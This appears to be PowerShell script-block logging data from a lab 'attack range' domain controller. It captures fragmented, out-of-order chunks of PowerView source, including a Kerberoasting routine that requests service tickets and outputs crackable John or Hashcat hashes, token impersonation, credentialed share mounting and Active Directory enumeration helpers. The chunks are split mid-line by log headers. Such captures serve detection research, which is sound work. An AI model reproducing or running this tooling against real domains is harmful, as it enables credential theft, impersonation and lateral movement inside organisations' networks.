[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserSearcherArguments = @{
'SPN' = $True
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
}
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-PathAcl {
<#
.SYNOPSIS
Enumerates the ACL for a given file path.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID
.DESCRIPTION
Enumerates the ACL for a specified file/folder path, and translates
the access rules for each entry into readable formats. If -Credential is passed,
Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
.PARAMETER Path
Specifies the local or remote path to enumerate the ACLs for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target path.
.EXAMPLE
Get-PathAcl "\\SERVER\Share\"
Returns ACLs for the given UNC share.
.EXAMPLE
gci .\test.txt | Get-PathAcl
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
.INPUTS
String
One of more paths to enumerate ACLs for.
.OUTPUTS
PowerView.FileACL
A custom object with the full path and associated ACL entries.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FileACL')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('FullName')]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
function Convert-FileRight {
# From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
[CmdletBinding()]
Param(
[Int]
$FSR
)
$AccessMask = @{
[uint32]'0x80000000' = 'GenericRead'
[uint32]'0x40000000' = 'GenericWrite'
[uint32]'0x20000000' = 'GenericExecute'
[uint32]'0x10000000' = 'GenericAll'
[uint32]'0x02000000' = 'MaximumAllowed'
[uint32]'0x01000000' = 'AccessSystemSecurity'
[uint32]'0x00100000' = 'Synchronize'
[uint32]'0x00080000' = 'WriteOwner'
[uint32]'0x00040000' = 'WriteDAC'
[uint32]'0x00020000' = 'ReadControl'
[uint32]'0x00010000' = 'Delete'
[uint32]'0x00000100' = 'WriteAttributes'
69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124417Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local654ity) {
$ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
$ObjectIdentity = $Identity.Split('\')[1]
Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
}
}
else {
$ObjectIdentity = $Identity
Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
$ConnectTarget = $Domain
}
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
}
}
else {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$DomainName = Get-Domain | Select-Object -ExpandProperty Name
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
}
$ObjectIdentity = $Identity
}
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Context' $Context
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
$Out
}
catch {
Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
}
}
function Add-RemoteConnection {
<#
.SYNOPSIS
Pseudo "mounts" a connection to a remote path using the specified
credential object, allowing for access of remote resources. If a -Path isn't
specified, a -ComputerName is required to pseudo-mount IPC$.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
or -ComputerName.
.PARAMETER ComputerName
Specifies the system to add a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to add the connection for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
$Cred = Get-Credential
Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
.EXAMPLE
$Cred = Get-Credential
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
#>
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path,
[Parameter(Mandatory = $True)]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential
)
BEGIN {
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
$NetResourceInstance.dwType = 1
}
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
$NetResourceInstance.lpRemoteName = $TargetPath
Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
# CONNECT_TEMPORARY = 4
$Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully mounted"
}
else {
Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Remove-RemoteConnection {
<#
.SYNOPSIS
Destroys a connection created by New-RemoteConnection.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetCancelConnection2 to destroy a connection created by
New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
'unmount' \\$ComputerName\IPC$.
.PARAMETER ComputerName
Specifies the system to remove a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to remove the connection for.
.EXAMPLE
Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
.EXAMPLE
Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
.EXAMPLE
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path
)
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully ummounted"
}
else {
Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Invoke-UserImpersonation {
<#
.SYNOPSIS
Creates a new "runas /netonly" type logon and impersonates the token.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
to simulate "runas /netonly". The resulting token is then impersonated with
ImpersonateLoggedOnUser() and the token handle is returned for later usage
with Invoke-RevertToSelf.
.PARAMETER Credential
A [Management.Automation.PSCredential] object with alternate credentials
to impersonate in the current thread space.
.PARAMETER TokenHandle
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
is executed.
.PARAMETER Quiet
Suppress any warnings about STA vs MTA.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
.OUTPUTS
IntPtr
The TokenHandle result from LogonUser.
#>
[OutputType([IntPtr])]
[CmdletBinding(DefaultParameterSetName = 'Credential')]
Param(
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential,
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
[ValidateNotNull()]
[IntPtr]
$TokenHandle,
[Switch]
$Quiet
)
if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
}
if ($PSBoundParameters['TokenHandle']) {
$LogonTokenHandle = $TokenHandle
}
else {
$LogonTokenHandle = [IntPtr]::Zero
$NetworkCredential = $Credential.GetNetworkCredential()
$UserDomain = $NetworkCredential.Domain
$UserName = $NetworkCredential.UserName
Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
# LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
# this is to simulate "runas.exe /netonly" functionality
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
}
# actually impersonate the token from LogonUser()
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
if (-not $Result) {
throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
$LogonTokenHandle
}
function Invoke-RevertToSelf {
<#
.SYNOPSIS
Reverts any token impersonation.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses RevertToSelf() to revert any impersonated tokens.
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
CloseHandle() is used to close the opened handle.
.PARAMETER TokenHandle
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$Token = Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf -TokenHandle $Token
#>
[CmdletBinding()]
Param(
[ValidateNotNull()]
[IntPtr]
$TokenHandle
)
if ($PSBoundParameters['TokenHandle']) {
Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
$Result = $Kernel32::CloseHandle($TokenHandle)
}
$Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
}
function Get-DomainSPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of Hashcat).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote domain using Invoke-UserImpersonation.
.EXAMPLE
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
PowerView.User
Accepts one or more PowerView.User objects on the pipeline with69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124416Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local554fabrikam\pflynn'
Display display name, e.g. 'pflynn'
DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
UPN user principal name; e.g., 'pflynn@fabrikam.com'
CanonicalEx extended canonical name format
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
.PARAMETER OutputType
Specifies the output name type you want to convert to, which must be one of the following:
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
NT4 domain\username; e.g., 'fabrikam\pflynn'
Display display name, e.g. 'pflynn'
DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
UPN user principal name; e.g., 'pflynn@fabrikam.com'
CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
Convert-ADName -Identity "TESTLAB\harmj0y"
harmj0y@testlab.local
.EXAMPLE
"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
testlab.local/Users/krbtgt
testlab.local/Users/Administrator
.EXAMPLE
Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
CN=harmj0y,CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
TESTLAB\harmj0y
.INPUTS
String
Accepts one or more objects name strings on the pipeline.
.OUTPUTS
String
Outputs a string representing the converted name.
.LINK
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name', 'ObjectName')]
[String[]]
$Identity,
[String]
[ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]
$OutputType,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$NameTypes = @{
'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com
'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn
'NT4' = 3 # fabrikam\pflynn
'Display' = 4 # pflynn
'DomainSimple' = 5 # pflynn@fabrikam.com
'EnterpriseSimple' = 6 # pflynn@fabrikam.com
'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436}
'Unknown' = 8 # unknown type - let the server do translation
'UPN' = 9 # pflynn@fabrikam.com
'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn
'SPN' = 11 # HTTP/kairomac.contoso.com
'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999
}
# accessor functions from Bill Stewart to simplify calls to NameTranslate
function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
$Output = $Null
$Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)
Write-Output $Output
}
function Get-Property([__ComObject] $Object, [String] $Property) {
$Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)
}
function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
[Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)
}
# https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
if ($PSBoundParameters['Server']) {
$ADSInitType = 2
$InitName = $Server
}
elseif ($PSBoundParameters['Domain']) {
$ADSInitType = 1
$InitName = $Domain
}
elseif ($PSBoundParameters['Credential']) {
$Cred = $Credential.GetNetworkCredential()
$ADSInitType = 1
$InitName = $Cred.Domain
}
else {
# if no domain or server is specified, default to GC initialization
$ADSInitType = 3
$InitName = $Null
}
}
PROCESS {
ForEach ($TargetIdentity in $Identity) {
if (-not $PSBoundParameters['OutputType']) {
if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
$ADSOutputType = $NameTypes['DomainSimple']
}
else {
$ADSOutputType = $NameTypes['NT4']
}
}
else {
$ADSOutputType = $NameTypes[$OutputType]
}
$Translate = New-Object -ComObject NameTranslate
if ($PSBoundParameters['Credential']) {
try {
$Cred = $Credential.GetNetworkCredential()
Invoke-Method $Translate 'InitEx' (
$ADSInitType,
$InitName,
$Cred.UserName,
$Cred.Domain,
$Cred.Password
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
}
}
else {
try {
$Null = Invoke-Method $Translate 'Init' (
$ADSInitType,
$InitName
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
}
}
# always chase all referrals
Set-Property $Translate 'ChaseReferral' (0x60)
try {
# 8 = Unknown name type -> let the server do the work for us
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
Invoke-Method $Translate 'Get' ($ADSOutputType)
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
}
}
}
}
function ConvertFrom-UACValue {
<#
.SYNOPSIS
Converts a UAC int value to human readable form.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function will take an integer that represents a User Account
Control (UAC) binary blob and will covert it to an ordered
dictionary with each bitwise value broken out. By default only values
set are displayed- the -ShowAll switch will display all values with
a + next to the ones set.
.PARAMETER Value
Specifies the integer UAC value to convert.
.PARAMETER ShowAll
Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
.EXAMPLE
ConvertFrom-UACValue -Value 66176
Name Value
---- -----
ENCRYPTED_TEXT_PWD_ALLOWED 128
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
Name Value
---- -----
SCRIPT 1
ACCOUNTDISABLE 2
HOMEDIR_REQUIRED 8
LOCKOUT 16
PASSWD_NOTREQD 32
PASSWD_CANT_CHANGE 64
ENCRYPTED_TEXT_PWD_ALLOWED 128
TEMP_DUPLICATE_ACCOUNT 256
NORMAL_ACCOUNT 512+
INTERDOMAIN_TRUST_ACCOUNT 2048
WORKSTATION_TRUST_ACCOUNT 4096
SERVER_TRUST_ACCOUNT 8192
DONT_EXPIRE_PASSWORD 65536+
MNS_LOGON_ACCOUNT 131072
SMARTCARD_REQUIRED 262144
TRUSTED_FOR_DELEGATION 524288
NOT_DELEGATED 1048576
USE_DES_KEY_ONLY 2097152
DONT_REQ_PREAUTH 4194304
PASSWORD_EXPIRED 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
PARTIAL_SECRETS_ACCOUNT 67108864
.INPUTS
Int
Accepts an integer representing a UAC binary blob.
.OUTPUTS
System.Collections.Specialized.OrderedDictionary
An ordered dictionary with the converted UAC fields.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[OutputType('System.Collections.Specialized.OrderedDictionary')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('UAC', 'useraccountcontrol')]
[Int]
$Value,
[Switch]
$ShowAll
)
BEGIN {
# values from https://support.microsoft.com/en-us/kb/305144
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
$UACValues.Add("SCRIPT", 1)
$UACValues.Add("ACCOUNTDISABLE", 2)
$UACValues.Add("HOMEDIR_REQUIRED", 8)
$UACValues.Add("LOCKOUT", 16)
$UACValues.Add("PASSWD_NOTREQD", 32)
$UACValues.Add("PASSWD_CANT_CHANGE", 64)
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
$UACValues.Add("NORMAL_ACCOUNT", 512)
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
$UACValues.Add("SMARTCARD_REQUIRED", 262144)
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
$UACValues.Add("NOT_DELEGATED", 1048576)
$UACValues.Add("USE_DES_KEY_ONLY", 2097152)
$UACValues.Add("DONT_REQ_PREAUTH", 4194304)
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}
PROCESS {
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
if ($ShowAll) {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
else {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
$ResultUACValues
}
}
function Get-PrincipalContext {
<#
.SYNOPSIS
Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
and simplified identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202),
or a DOMAIN\username identity.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
try {
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
if ($Identity -match '.+\\.+') {
# DOMAIN\groupname
$ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
if ($ConvertedIdent69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124414Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local354 [ValidateNotNullOrEmpty()]
[scriptblock]$ValidateScript,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
[ValidateNotNullOrEmpty()]
[string[]]$ValidateSet,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
[ValidateNotNullOrEmpty()]
[ValidateScript({
if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary]))
{
Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object'
}
$true
})]
$Dictionary = $false,
[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
[switch]$CreateVariables,
[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')]
[ValidateNotNullOrEmpty()]
[ValidateScript({
